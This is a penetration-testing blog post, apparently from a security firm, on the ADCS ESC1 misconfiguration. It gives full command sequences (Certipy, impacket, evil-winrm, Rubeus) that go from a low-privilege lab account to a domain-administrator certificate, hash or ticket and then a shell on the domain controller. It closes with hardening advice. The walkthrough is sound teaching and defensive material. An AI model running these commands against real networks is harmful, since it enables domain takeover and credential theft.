Active Directory Certificate Services (ADCS -ESC1)

What is the ADCSIntroduction

ADCS, or Active Directory Certificate Services, is a Microsoft server role that works with Active Directory to issue certificates. These certificates are electronic documents that help with encryption, message signing, and authentication. Certificate Authorities (CAs) issue these certificates, which bind an identity to a public/private key pair.

It works when a client generates a key pair, and the public key goes into a certificate signing request (CSR) and other details. This request goes to the Enterprise CA server, which checks if the client is allowed to request certificates. If allowed, the server looks at the certificate template specified in the request and checks if the client can obtain a certificate based on that template. If everything checks out, the server generates a certificate based on the template’s settings, signs it with its private key, and sends it back to the client.

ADCS enables the creation, management, and distribution of digital certificates used for authentication, digital signatures, and encryption. It can be used to issue certificates for various purposes, such as:

  1. User authentication: Certificates can be used to verify the identity of users in a network.
  2. Secure email: Certificates can be used to sign and encrypt email messages digitally.
  3. Secure web access: Certificates can be used to secure web access through SSL/TLS encryption.
  4. VPN access: Certificates can be used to authenticate users and devices connecting to a VPN.
  5. Code signing: Certificates can be used to sign software code to verify its authenticity and integrity.

Common Terms and Acronyms

For reference, we will use several terms and acronyms throughout this post and paper. Here’s a quick breakdown of a few.

  • PKI (Public Key Infrastructure) — a system to manage certificates/public key encryption
  • AD CS (Active Directory Certificate Services) — Microsoft’s PKI implementation
  • CA (Certificate Authority) — PKI server that issues certificates
  • Enterprise Certification Authority CA — (CA) integrated with AD (as opposed to a standalone CA) offers certificate templates
  • Certificate Template — a collection of settings and policies that defines the contents of a certificate issued by an enterprise CA
  • CSR (Certificate Signing Request) — a message sent to a CA to request a signed certificate
  • EKU (Extended/Enhanced Key Usage) — one or more object identifiers (OIDs) that define how a certificate can be used

What an attacker can do?

  • User Credential Theft (1 year +): Attackers can steal user certificates that authenticate domains or request new certificates from user contexts. They can even survive user password changes without touching LSASS or requiring elevation.
  • Machine Persistence (1 year +): Attackers can steal existing system certificates capable of domain authentication or actively request a new certificate from a system’s context. This can be combined with Resource-Based Constrained Delegation (RBDC) or S4U2Self to survive machine password changes, which can be done without touching LSASS.
  • Domain Escalation Paths: Attackers can exploit several vulnerabilities, such as misconfigured certificate templates that allow Subject Alternative Name (SAN) specification, vulnerable Certificate Request Agent templates, vulnerable template ACLs, the EDITF_ _ATTRIBUTESUBJECTALTNAME2 flag being set, vulnerable CA permissions, or NTLM relay to web enrollment endpoints to escalate privileges in the domain.
  • Domain Persistence: Attackers can steal the certificate authority’s private key and forge “GOLDEN Certificates,” which can be used to maintain persistence in the domain.

Misconfigured Templates

Certificate templates are objects in Active Directory that are used to define policies for issuing certificates. Using a certificate template, an administrator can set the subject (the identity), validity period, purpose, and users authorized to request a certificate. Users who are authorized to request a certificate can specify its configuration using a descriptor on the Certificate Authority and in the certificate template object.

To enumerate ADCS template information from a target domain, valid domain credentials are required. However, this process typically does not require a highly privileged domain account. Any domain credential can be used to query ADCS templates and configuration details.

In this blog post, we will use our MARVEL – SHIELD domain and assume that we have gained access to SHIELD’s internal network and compromised the account of a user named “lowuser.” In this scenario, we want to obtain the ADCS configuration for the internal target domain SHIELD.local

Several tools can be used to enumerate ADCS templates. In this post, we will use a security tool called Certify along with the find command. By specifying the —enabled and —vulnerable flags, we can tell Certipy to print out vulnerable templates that are enabled specifically.

The full Certipy commands are shown below:

certipy find -u lowpriv -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 
certipy find -u lowpriv -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -vulnerable -enabled

Certipy generates configuration details of interest in both JSON (JavaScript Object Notation) and TXT files. These files are named in the format “_Certipy” and can be found in the output folder.

The 20240427134608_Certipy.txt file contains the vulnerable templates. However, we will need to identify it manually by opening the file with a regular text editor or using cat along with the grep command.

cat 20240427134608_Certipy.txt |grep ESC1

Additionally, Certipy runs BloodHound collectors that produce a zip file with the same naming convention. These BloodHound results can be imported into your BloodHound database to visualize potential domain privilege escalation paths.

  • Certipy generates BloodHound data that can be ingested into the BloodHound, v5.8.1, which can be found here: BloodHound.
  • Note: To import certipy data on the new Bloodhound v5.8.1, utilize bloodhound-python/latest SharpHound, and after collecting the data, proceed to upload it into Bloodhound v5.8.1.
  • We must specify the -old bloodhound flag to use the old version of BloodHound.
  • Note: If you opt for an older version of Bloodhound, you must use the corresponding older SharpHound version. After collecting the data, upload it to Bloodhound.
certipy find -u lowpriv -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -old-bloodhound
certipy find -u lowpriv -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -vulnerable -enabled -old-bloodhound

As we can see in the image below, the LOWPRIV user is a member of the DOMAIN USER group and has enrollment right on the ESC1 template. In other words, it refers to permissions granted to users or groups to enroll for certificates based on that template. When we create a certificate template in ADCS, we can specify who has the right to enroll for certificates using that template.

The certificate ESC1 has the following configuration that makes it vulnerable:

  • Client Authentication: True
  • Enabled: True
  • Enrollee Supplies Subject: True — ENROLLEE_SUPPLIES_SUBJECT is enabled, which allows the certificate requestor to provide any SAN (subject alternative name).
  • Enrollment Rights are set to SHIELD. LOCAL\Domain Users & SHIELD. LOCAL\Authenticated Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

Finally, the last configuration, called Requires Manager Approval, is set to FALSE

Prerequisites – ESC1 Attack

The Active Directory Certificate Attack, also known as ESC1, is a type of post-exploitation attack that can be only performed once we either gain a foothold on the internal network or use a white box penetration testing approach, in other words, if the client provides valid low-privilege credentials. In this blog we will need a set of requirements and tools to be able to compromise the Domain Controller.

  • Valid credentials – (lowprivuser)
  • Vulnerable Certificate template
  • Certipy
  • BloodHound
  • impacket Tools
  • evil-winrm
  • PKINITtools

ESC1 Attack Walk-Through on Linux

A vulnerability in the ESC1 certificate template allows users with low privileges to request and enroll a certificate on behalf of any specified domain object. In other words, any user with enrollment rights can request a certificate, even for privileged accounts, such as a domain administrator.

Templates vulnerable to ESC1 have the following configurations:

  • Client Authentication: True
  • Enabled: True
  • Requires Manager Approval: FALSE
  • Enrollee Supplies Subject: True — ENROLLEE_SUPPLIES_SUBJECT is enabled, which allows the certificate requestor to provide any SAN (subject alternative name).
  • Enrollment Rights are set to SHIELD. LOCAL\Domain Users & SHIELD. LOCAL\Authenticated Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

Once we have identified the vulnerable template, our next step is to request a certificate for the SHIELD.LOCAL\administrator user; we can achieve this by setting the user’s principal name (UPN) to administrator@shield.local. Since our initial user account, “lowuser,” is part of the Domain Users group, it is authorized to request a certificate using the vulnerable template.

The Certipy arguments required to request a certificate are as follows:

certipy req -ca 'SHIELD-DC4-CA' -dc-ip '192.168.115.180' -u 'lowpriv' -p 'P4ssw0rd123456@' -template 'ESC1' -target 'DC4.shield.LOCAL' -upn 'administrator@shield.local'

Once we have obtained the .pfx certificate file and private key, we can either request the domain admin TGT Ticket or the administrator Hash to gain access to the domain controller.

Gaining Access to DC via Pass-The-Hash Technique

In order to get that hash of the domain admin user (administrator), we can use certify in conjunction with the auth flag

certipy auth -pfx administrator.pfx

Once we obtain either the administrator hash or the TGT Tiket, we can use different tools to log into the Domain Controller, such as:

  • impacket-smbexec
  • impacket-psexec
  • evil-winrm
  • NetExec
impacket-smbexec administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:00000b43885058f27715b476e5200000
evil-winrm -i dc4.shield.local -u Administrator -H c5153b43885058f27715b476e5246a50

Gaining Access to DC using a TGT Ticket

In order to obtain the administrator TGT ticket, we can use certify in conjunction with the auth flag.

certipy auth -pfx administrator.pfx

Once we obtain the TGT Ticket, we can export the administrator.ccache file with the below command

export KRB5CCNAME=administrator.ccache
impacket-psexec administrator@dc4.shield.local -k -no-pass

In order to obtain the administrator TGT ticket, we can use gettgtpkinit.py in conjunction with the -cert-pfx flag.

python gettgtpkinit.py shield.local/administrator -cert-pfx /root/MARVEL.local/ADCS/administrator.pfx PKINIT-Administartor.ccache

Once we obtain the TGT Ticket, we can export the administrator.ccache file with the below command

export KRB5CCNAME=PKINIT-Administrator.ccache

Once we have added the .ccache file as part of our environment variables, we can log in to DC using psexec.

impacket-psexec administrator@dc4.shield.local -k -no-pass

ESC1 Attack Walk-Through on Windows

# NOTE : You have to have Python3 pre-installed on the windows host if not then u have to install it.
pip install certipy-ad  
certipy find -dc-ip 192.168.115.180 -sspi

Use SSPI to use Windows Integrated Authentication (SSPI), or in other words, just use the user’s context with which you are logged in. In our case, it was lowprivuser.

certipy req -ca shield-DC4-CA -dc-ip 192.168.115.180 -template ESC1 -target DC4.shield.local -upn administrator@shield.local -sspi
certipy auth -pfx administrator.pfx

Now we have the hashes as well as the TGT file, and we can use them to perform past the hashes or any other post-exploitation techniques.

NOTE: We must use a Windows CMD if we want to use the TGT Tiket (.ccache)

set KRB5CCNAME=administrator.ccache

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py shield.local/administrator@dc4.shield.local -k -no-pass

NOTE: We can use either a Windows Powershell or CMD if we want to use the hash.

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py shield.local/administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /nowrap
Rubeus.exe ptt /ticket:<base64EncodedTicketHereAsShownInTheImageBelow>

dir \\dc4.shield.local\c$\

Video Walkthrough

Conclusion

Although ADCS isn’t inherently insecure, it’s remarkably susceptible to misconfiguration, inadvertently creating avenues for unauthorized access and escalation within the domain. Although unintentional, these misconfigurations can significantly compromise security measures if left unchecked. Therefore, it’s crucial for organizations to proactively address and rectify any misconfigurations manually within their ADCS infrastructure to uphold robust security standards and prevent unauthorized escalation within their domain.

This enforces the importance of conducting penetration tests at least twice a year or engaging in adversary emulation assessment to confirm proper security measures are in place. It has been proven time and again that the potential dangers of Active Directory Certificate Services (ADCS) lurk in system misconfiguration. Organizations need to be better-versed in ADCS and its security implications so the risks of misconfiguration are alarmingly high. We want to clarify that we don’t claim to know every security issue related to ADCS. Nevertheless, we’re committed to offering you ample guidance to navigate this terrain safely and securely. Here are just a few to begin with:

  • Take stock of your certificate templates and determine whether all enabled templates are currently used. Disable all unnecessary templates.
  • It is recommended that template permissions be restricted as much as possible. Enrollment permissions should only be provided to necessary groups and users.
  • Modify the “Issuance Requirements” to enforce the manual approval of an issued certificate where possible.
  • Disable the “Enrollee Supplies Subject” flag where possible.
  • Remove “Client Authentication” where possible.
  • Credentials from Password Stores – T1555
  • Steal or Forge Authentication Certificates – T1649
  • Pass The Hash – T1550.002
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003

Credits & References

Authors

  • Red Team Lead

    As a security computer expert with over 15 years of experience, he specializes in various areas such as web applications, cloud computing (AWS, Azure & GCP), infrastructure penetration testing, red & purple team assessments, vulnerability analysis, exploit development, and malware analysis. He has conducted numerous successful black-and-grey box penetration testing and adversary emulation engagements throughout his career. He has demonstrated expertise in testing SOAP and RESTful web API services, thick clients, wireless networks, internal/external assessments, SAP ERP servers, ATMs, Tactics Techniques and Procedures (TTPs), and forensics.

  • Chanel Carr

    Professional security architect of multi-clouds, including Amazon Web Services (AWS), Microsoft Azure, and Google GCP, with experience evaluating and testing computer security systems, creating firewalls, improving network security to protect the system further.

  • Asif Khan

    Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.

Share the Post:

Subscribe To Our Newsletter